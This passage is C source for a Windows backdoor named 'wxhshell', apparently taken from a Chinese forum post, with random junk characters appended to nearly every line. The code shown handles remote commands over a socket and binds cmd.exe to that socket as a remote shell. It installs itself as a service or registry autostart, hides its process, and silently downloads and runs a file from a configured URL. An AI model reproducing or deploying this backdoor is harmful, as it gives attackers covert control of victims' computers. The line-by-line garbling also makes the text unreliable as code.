  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @IEI%vH  
  else >|l;*Kw,/P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P_,v5Qx"-  
  } @PYW|*VS  
  else { [Xxw]C6\>(  
l%^h2 o  
    switch(cmd[0]) { o `b`*Z  
  6!4';2Q  
  // 帮助 Dl0/-=L  
  case '?': { F{TC#J}I%'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y<O@rD8iA  
    break; 8B}'\e4i  
  } * <B)Z  
  // 安装 yr FZ~r@-  
  case 'i': { *D\0.K,o  
    if(Install()) p G)9=X!9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P#AAOSlLV  
    else "V:   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z 6 tE{/  
    break; ?RZq =5Um&  
    } k%{ l4  
  // 卸载 /6Y0q9  
  case 'r': { R ^HohB  
    if(Uninstall()) }BA9Ka#%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /uK)rG F  
    else Bs_S.JP<`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KjO-0VMN3  
    break; gsnP!2cR  
    } =hJfL}&O3  
  // 显示 wxhshell 所在路径 +2- qlU  
  case 'p': { S$S_nNq  
    char svExeFile[MAX_PATH]; y:qx5Mi  
    strcpy(svExeFile,"\n\r"); }$^]dn@  
      strcat(svExeFile,ExeFile); %p<$|'  
        send(wsh,svExeFile,strlen(svExeFile),0); CT|z[^  
    break; _GE=kw;:  
    } #]?tY }~  
  // 重启 ^Y$QR]  
  case 'b': { >NJjS8f5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2K3MAd{  
    if(Boot(REBOOT)) J cP~-cp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 rH'1U  
    else { [:Be[pLC  
    closesocket(wsh); IbF 4k .J  
    ExitThread(0); U$A/bEhw  
    } g+e:@@ug  
    break; +H41]W6  
    }  ,Qat  
  // 关机 ,o BlJvm  
  case 'd': { : aHcPc:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DLU[<! C  
    if(Boot(SHUTDOWN)) VK9Q?nu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JRD8Lz]Q3  
    else { UMT\Q6p  
    closesocket(wsh); k}X[u8A  
    ExitThread(0); xM% pvx.'L  
    } pfR"s:#  
    break; +eU`H[iu  
    } ?2/uSG|  
  // 获取shell nlaG<L#  
  case 's': { |Mt&p#y  
    CmdShell(wsh); \xF;{}v  
    closesocket(wsh); :=y0'f V(@  
    ExitThread(0); Dzo{PstM%  
    break; e"*BHvy F  
  } R_7 6W&  
  // 退出 S)+CTVVE  
  case 'x': { tL1P<1j_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zkd3Z$Ce  
    CloseIt(wsh); C9o$9 l+B  
    break; j]>=1Rd0b(  
    } >o#ERNf  
  // 离开 h(_P9E[g  
  case 'q': { \WcB9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,`y yR:F  
    closesocket(wsh); 4b]_ #7Qm  
    WSACleanup(); Yhe+u\vGs\  
    exit(1); "2%>M  
    break; 6eM6[  
        } #^Ys{  
  } p<q].^M  
  } AfN&n= d K  
,6DD=w0r  
  // 提示信息 }~rcrm.   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /oFc 03d  
} B "*`R!y  
  } `v~!H\q  
$Y6 3!*  
  return; V`by*s  
} #XcU{5Qm5  
~> PgJ ^G  
// shell模块句柄 -]/7hN*v  
int CmdShell(SOCKET sock) A])OPqP{  
{ O"\nR:\  
STARTUPINFO si; Cw%BZ  
ZeroMemory(&si,sizeof(si)); RE 9nU%!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %Z7%jma  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fSjs?zd`  
PROCESS_INFORMATION ProcessInfo; l~rb]6E  
char cmdline[]="cmd"; oKRFd_r+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rnr#$C%  
  return 0; +ZclGchw  
} "?P[9x}  
L@nebT;\'  
// 自身启动模式 F;pQ\Y  
int StartFromService(void) zFywC-my@  
{ , |l@j%  
typedef struct wYjQ V?,  
{ ~H u"yAR  
  DWORD ExitStatus; 1+a@k  
  DWORD PebBaseAddress; &Xv1[nByU  
  DWORD AffinityMask; ]rnXNn;  
  DWORD BasePriority; I(n }<)eF  
  ULONG UniqueProcessId; p-,Iio+  
  ULONG InheritedFromUniqueProcessId; S.W^7Ap  
}   PROCESS_BASIC_INFORMATION; mL$f[  
v77fQ0w3  
PROCNTQSIP NtQueryInformationProcess; ZjS(ad*.2  
/=T H08  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XMw.wQ '?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ny^'IUu  
~r&D6Y  
  HANDLE             hProcess; iV!@bC,  
  PROCESS_BASIC_INFORMATION pbi; 5}XvL'  
1q] & 7R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uH\w.  
  if(NULL == hInst ) return 0; 4%J|DcY2  
&wjB{%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NF mc>0-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p,;mYms  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \_ 9rr6^ "  
L,$3Yj  
  if (!NtQueryInformationProcess) return 0; O |WbFf  
pv&^D,H,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oNIFx5*Z  
  if(!hProcess) return 0; (ND%}  
Z(; AyTXA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Xu22f Kh  
?}8IQxU  
  CloseHandle(hProcess); # $~ oe"  
hVM2/j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r|fO7PD  
if(hProcess==NULL) return 0; 5)`h0TK  
('4wXD]C  
HMODULE hMod; h55>{)(E  
char procName[255]; MwAJ(  
unsigned long cbNeeded; 8teJ*sz  
.YR8v1Cp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'I v_mig  
MM gx|"  
  CloseHandle(hProcess); 4,~tl~FD  
Xa,\EEmQ  
if(strstr(procName,"services")) return 1; // 以服务启动 Kam]Mn'  
@5E,:)T*wR  
  return 0; // 注册表启动 ^N-'xy  
} j5^-.sEEw  
b#a@ rh  
// 主模块 ,r`UBQ}?  
int StartWxhshell(LPSTR lpCmdLine) /2XW  
{ o @KW/RN"  
  SOCKET wsl; LuS+_|]x  
BOOL val=TRUE; f{ ^:3"i  
  int port=0;  iSiDSeW8  
  struct sockaddr_in door; rwgsXS8W6  
,Sg33N ?  
  if(wscfg.ws_autoins) Install(); opD-vDa h  
bX2"89{  
port=atoi(lpCmdLine); L/i(KF{  
ARWZ; GX  
if(port<=0) port=wscfg.ws_port; * t!r@k  
vv+J0f^  
  WSADATA data; ,{KCY[}|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d!V$Y}n  
sV2iITF p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    ;:OsSq&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FN?3XNp.  
  door.sin_family = AF_INET; 5I' d PNf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QVtM.oi!Q  
  door.sin_port = htons(port); au$"B/  
AVFjBybu9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Im)EDTm$  
closesocket(wsl); B4Lx{u no  
return 1; ,S!w'0k|n  
} CW`!}yu%  
f Iy]/  
  if(listen(wsl,2) == INVALID_SOCKET) { >emcJVYV`[  
closesocket(wsl); H~o <AmE0!  
return 1; |" 7 Y52d  
} .'d2J>~N  
  Wxhshell(wsl); 3n48%5  
  WSACleanup(); }ZzLs/v%X  
u|fXP)>.  
return 0; ]db@RbaH  
kg>>D  
} o@k84+tn(  
A 5nO=  
// 以NT服务方式启动 zOB=aG?/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A'-_TFwW  
{ c\.P/~  
DWORD   status = 0; ,.v7FM^gO  
  DWORD   specificError = 0xfffffff; >|*yh~  
'jjb[{g^}}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $$1qF"GF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lddp^ #f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qZ X/@Yxz  
  serviceStatus.dwWin32ExitCode     = 0; DC:)Ysuj  
  serviceStatus.dwServiceSpecificExitCode = 0; E\th%q,mG  
  serviceStatus.dwCheckPoint       = 0; X?o( b/F -  
  serviceStatus.dwWaitHint       = 0; o2uj =Gnx  
z$[C#5+2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >oJkJ$|wU  
  if (hServiceStatusHandle==0) return; TH?9< C-C  
 +sZUJ  
status = GetLastError(); =yXs?y"  
  if (status!=NO_ERROR) UtJa3ya  
{ `78V%\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .C bGDZ  
    serviceStatus.dwCheckPoint       = 0; 1-VT}J(  
    serviceStatus.dwWaitHint       = 0; fly,-$K>LO  
    serviceStatus.dwWin32ExitCode     = status; 2R.2D'4)`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Em^ (  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yL1CZ_  
    return; 2]WE({P  
  } mT.e>/pa  
+  WDq =S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [j9E pi(  
  serviceStatus.dwCheckPoint       = 0; 0KvVw rWJ  
  serviceStatus.dwWaitHint       = 0; i8PuC^]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N1x@-/xa|  
} d,cN(  
'&yeQ   
// 处理NT服务事件,比如:启动、停止 jbmTmh1q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y(6Sp'0  
{ ..<3%fL3  
switch(fdwControl) Wa'sZ#  
{ Q-eCHr)  
case SERVICE_CONTROL_STOP: g,kzQ}_  
  serviceStatus.dwWin32ExitCode = 0; cAuY4RV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;#k-)m%  
  serviceStatus.dwCheckPoint   = 0; ${hz e<g  
  serviceStatus.dwWaitHint     = 0; MI#mAg<  
  { 5VE2@Fn}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rg QEUDEQ  
  } m~`>`4  
  return; - u3e5gW  
case SERVICE_CONTROL_PAUSE: }!d;(/)rb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *}! MOqP  
  break; =A!S/;z>  
case SERVICE_CONTROL_CONTINUE: [L~@uAMw:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0$P/jt  
  break; K_BPZ5w  
case SERVICE_CONTROL_INTERROGATE: ^TFs;|..  
  break; d- E4~)Qy  
}; 9NpD!A&64<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F%/ h*  
} m7qqY  
}5 9U}@xC  
// 标准应用程序主函数 {]}s#vvy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =VP=|g  
{ 2+"r~#K*  
JXU2CyMY  
// 获取操作系统版本 8E^@yZo{  
OsIsNt=GetOsVer(); fI|[Z+"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f4('gl9  
^U  q  
  // 从命令行安装 oFC)  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q<"[C 1Lj  
K` (#K#n  
  // 下载执行文件 2%YXc|gGT  
if(wscfg.ws_downexe) { $ I<|-]u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m5gI~1(9  
  WinExec(wscfg.ws_filenam,SW_HIDE); Oxa5Kfpa  
} Mq+< mX7  
Bl4 dhBZoO  
if(!OsIsNt) { {hd-w4"115  
// 如果时win9x,隐藏进程并且设置为注册表启动 OmNn,PCl8  
HideProc(); # "r kuDO  
StartWxhshell(lpCmdLine); `ue?Z%p|  
} ,+-h7^{`  
else qJ Gm8^b-  
  if(StartFromService()) .<w)Bmh  
  // 以服务方式启动 [=~!w_  
  StartServiceCtrlDispatcher(DispatchTable); 2f{kBD  
else <.$,`m,  
  // 普通方式启动 dq1TRFu  
  StartWxhshell(lpCmdLine); EXHR(t}e  
-tP.S1D  
return 0; f\'G`4e  
}
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只看该作者 1 发表于: 2006-10-10
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